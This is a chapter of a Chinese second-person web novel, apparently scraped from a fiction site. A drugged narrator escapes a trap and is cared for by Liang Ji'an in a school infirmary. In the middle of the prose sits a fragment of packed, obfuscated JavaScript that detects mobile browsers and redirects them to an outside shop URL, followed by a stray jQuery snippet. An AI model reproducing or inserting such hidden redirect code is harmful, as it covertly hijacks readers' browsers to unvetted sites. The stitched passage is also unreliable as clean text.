【读档8】
【读档成功】
“到了!进去吧。”
你用力掐了一下自己,勉强清醒后,重重打掉了郑瞳强行抓着你的手,然后挣脱了她。
“……邬莉?!”
郑瞳又惊又疑、目光闪烁地望向你。
穿过她被阴影笼罩的脸庞。
你看见了她背后不知何时、无声无息打开了一丝缝隙的房门。
房门里,正藏了一双手在等着你。
你扶着额头。
问她:“我有对不起你吗?”
她顿时紧张得呼吸都不平稳:“什、什么?”
“为什么要拖我下水?”
郑瞳骤然瞳孔一缩。
门的缝隙逐渐变大。
你知道,是里面的猎人已经按捺不住、担心功亏一篑。
又拧了一把自己。
你毫不犹豫,在门几乎敞开一半的刹那,将郑瞳推了进去。
然后头也不回地跑了。
“邬莉!邬莉——”
身后传来一声痛呼。
转过拐角的瞬间,你回头瞥了一眼,看见郑瞳被冷漠无情地推倒在地。
她揉着膝盖,神情在昏黄的光线下有种模糊的惶恐。
而她的身旁——
梁季周就那么高高在上地站着,盯着你,眼神黑漆漆的,透不进一丝光。
也许是有所顾忌,她没有追。
体内的药效渐渐覆盖过疼痛带来的清醒,你必须为自己找一处可靠的庇护所。
但你对宴会厅的结构不熟悉,对宴会厅里的人也不放心。
思来想去。
只好蹲在一处隐蔽的角落里,叫路过的侍者帮忙去请一个人。
“就说,是他的朋友找他。”
侍者听见了你牙齿一开一合间蹦出的那个名字。
顿时不敢大意。
立即应声。
片刻后。
秀丽而挺拔的身影立在了你面前。
你蜷缩在墙角,被这道影子裹住。
“你看起来情况不太好。”
你竭力睁开眼皮,面色恹恹,有气无力地对来人伸出了一只手:“麻烦送我去医务室。”
梁季桉顿了顿。
没有拒绝。
他抓住了你的手,将你拉起来。
然后扶着你走了两步。
你走得摇摇摆摆,脚步虚浮,再要往前时,忽然走不动了。
梁季桉用力握住你的手臂,停在了原地。
你迷惑道:“怎么了?”
他没有说话,摇了摇头,走过来,在你忽然睁大的双眸中,一把抱起了你。
“这样就快多了。”
他平静道。
你们绕开了大厅,从不起眼的另一扇门出去,然后直奔医务室。
今天有活动,医务室一直有人值班。
值班医生给你做过检查之后,开了药。
你需要输液。
药水冰凉。
从输液管流进血管,好冷。
半梦半醒间。
你一直在发抖,努力扯着病床上的被子。
直到突如其来的暖意热乎乎地拱到你手边,你紧蹙的眉毛才终于舒展了开来。
……
不知道睡了多久。
等你醒来后,针已经拔了,医务室的门掩着,梁季桉低着头在打游戏。
或许是为了你睡得更舒服一点,屋子里的灯没有开,黑漆漆的。
梁季桉就坐在黑夜里无声无息地操控屏幕。
手指灵活飞快地滑动。
手机屏幕淡淡的光线投射到他面孔,衬得他皮肤苍白,眼瞳漆黑。
他低着头,没什么表情,眼神偶尔从左掠到右。
你声音干涩地咳嗽了一声:“不开灯伤眼睛。”
他的动作没有停顿,眼皮却微微掀起,平淡地朝你掠过一眼。
“瞎不了。”
他说。
没有再继续下去,径直熄灭了手机,他站起身,走到墙边,说:
“我开灯了,你最好先闭上眼睛。”
你闭上眼睛:“好。”
开关轻轻一响。
雪白的光线透过薄薄的眼皮,为你眼前的黑暗镀上一层毛茸茸的光晕。
你慢慢睁开了眼。
睁开眼,手肘撑着床,爬起来,坐好。
“几点了?”
“十一点半。”
你有些懊恼,长长叹一口气道:“连累你陪我到这么晚了。”
梁季桉不置可否,只是问你:“今天是周五,宿舍不能住,你打算去哪儿?”
你苦恼地掀开被子,正要下床,忽然瞥见被子里一个热水袋,不觉一怔。
惊讶地望向他:“你从哪儿弄的?”
“打电话让家里派人给我送了一个。”
梁季桉语气淡漠。
没有向你邀功,也没有什么反应,仿佛只是轻描淡写、不值一提的一件小事。
“谢谢。”
你又叹了一口气:“今天没有你,我可就麻烦了。”
下床的时候,你腿还软,差点没一屁股坐在地上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641498|206166||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>梁季桉抓住了你。
在你站稳之后,他松开了手。
“如果没有地方去,那就去我家。”他注视着你,说道,“等天亮了,你再坐车回去。”
你跟着他慢吞吞走出医务室。
学校里几乎一个人也没有。
冷冷清清。
月光从树叶的缝隙漏进,泻了一地清辉,在婆娑的树影下,如积水空明。
“本来我还以为你不会来,因为我让那个人说,是你的朋友找你,可你看起来好像没有朋友。”
“以前确实没有。”
“可我们也是今天才认识。”
“但你看起来对我并不陌生,”梁季桉没有掩饰,平静地望向了你,“你和刚才在卫生间时的状态不一样。”
当然不一样。
在那之前,你只是第一次和他见面。但在那之后,你和他以一种奇怪的、既亲密又生疏的关系,认识了三年。
你什么都和他说,哪怕是和梁明意偷情的事,也不隐瞒。
甚至是第一时告诉了他。
你记得你说给他听的时候,他转过身,看向了你。
眼神一如既往的漆黑,而深不见底,仿佛有一个漩涡在吸引着你坠入他的眼底。
“你不喜欢梁季周,那你喜欢他吗?”
他望着你。
你也望着他,没有闪躲。
“你觉得呢?”
“我觉得你不喜欢他。”
“那我就不喜欢他。”
你迎着风,把凌乱的碎发勾到耳后,对着他笑了。
他却没有笑。
他从来不笑,你甚至见过梁明意的笑,却没有见过他的。
梁季桉仿佛和所有人都隔了一层,就像水与油不相溶。
你不知道他在想什么。
他可能喜欢你。
你有点怀疑,但又不能肯定。
“不去你家。”你一边心不在焉地努力思索,一边说道,“给我下药的就是你妹妹。”
这对双生兄妹的互换游戏在你这里早已是无效透明的。
梁季桉大概也有所猜测,所以没有在你面前故意柔化声线,去贴近一个更加女性化的中性音。
“那就让司机直接开车送你回去。”
他问你:“不休息可以吗?”
你眨了眨眼睛:“没关系,反正不是我开车。”
于是就这样说定了。
但你没想到,车停下来的那一刻,梁季桉也坐了上来。
“让我去你家。”
他用一种吃饭喝水似的平静语调说道。